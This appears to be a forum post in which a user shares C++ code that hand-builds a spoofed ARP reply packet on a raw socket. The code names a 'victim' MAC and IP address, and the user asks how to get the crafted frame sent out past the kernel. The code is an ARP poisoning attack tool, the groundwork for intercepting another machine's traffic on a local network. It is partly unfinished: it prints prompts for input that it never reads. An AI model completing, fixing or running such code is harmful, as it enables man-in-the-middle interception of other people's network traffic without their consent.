- Code: Select all
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <sys/types.h>
#define __FAVOR_BSD
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <iostream>
#include <string.h>
#include <cstdlib>
#include <net/ethernet.h>
#include <net/if.h>
char ArpReply[48];
char srcmac[6];
char destmac[6];
char srcip[16];
char destip[16];
using namespace std;
int createRaw(int protocol_to_sniff)
{
//int raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
int raw_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP));
if (raw_fd < 0)
{
perror("socket");
cout << "ERROR creating raw socket\n";
exit(1);
}else{
cout << "Raw Socket Created!\n";
return raw_fd;
}
}
int main(int argc, char *argv[])
{
int MySocket = createRaw(6);
cout << "Input the Victoms MAC\n";
memcpy((void *)srcmac, "\x00\x0a\x9d\xf4\x04\xd6", 6);
memcpy((void *)ArpReply, srcmac, 6);
cout << "Input Your Real Mac\n";
memcpy((void *)destmac, "\x00\x1B\xFC\xEB\x3E\xD7", 6);
memcpy((void *)&ArpReply[6], destmac, 6);
memcpy((void *)&ArpReply[12], "\x08\x06", 2); //This is a Arp Packet
memcpy((void *)&ArpReply[14], "\x00\x01", 2); //This is Ethernet
memcpy((void *)&ArpReply[16], "\x08\x00", 2); //Protocol Type "IP"
memcpy((void *)&ArpReply[18], "\x06", 1); //Hardwaresize 6 Bytes
memcpy((void *)&ArpReply[19], "\x04", 1); //Protocol Size 4 Bytes
memcpy((void *)&ArpReply[20], "\x00\x02", 2); //This is a ARP reply!
memcpy((void *)&ArpReply[22], "\x00\x1B\xFC\xEB\x3E\xD7", 6); //Senders Mac
memcpy((void *)&ArpReply[28], "\xc0\xa8\x02\x46", 4); //Senders IP
memcpy((void *)&ArpReply[32], "\x00\x0a\x9d\xf4\x04\xd6", 6); //Targets/Victoms Mac Address
memcpy((void *)&ArpReply[38], "\xc0\xa8\x02\x96", 4); //Targets/Victoms IP Address
cout << "Input the Victoms IP\n";
cout << "Input The Victoms MAC\n";
//write(MySocket, ArpReply, 42);
send(MySocket, ArpReply, 42, NULL);
/*
int sendErr = send(MySocket, ArpReply, 41, NULL);
if (sendErr < 41)
{
cout << sendErr << " out of " << "41" << " were sent.\n";
exit(1);
}else{
cout << "<" << sendErr << "> Sent message!!!\n";
}
*/
return EXIT_SUCCESS;
}
The Mac and IP's are correct, Ive seen an example on a guy using send but not sendto, Im not sure if it was working code, whats the easyest way to send out a crafted buffer out pass the kernel due to I almost remade the headers?



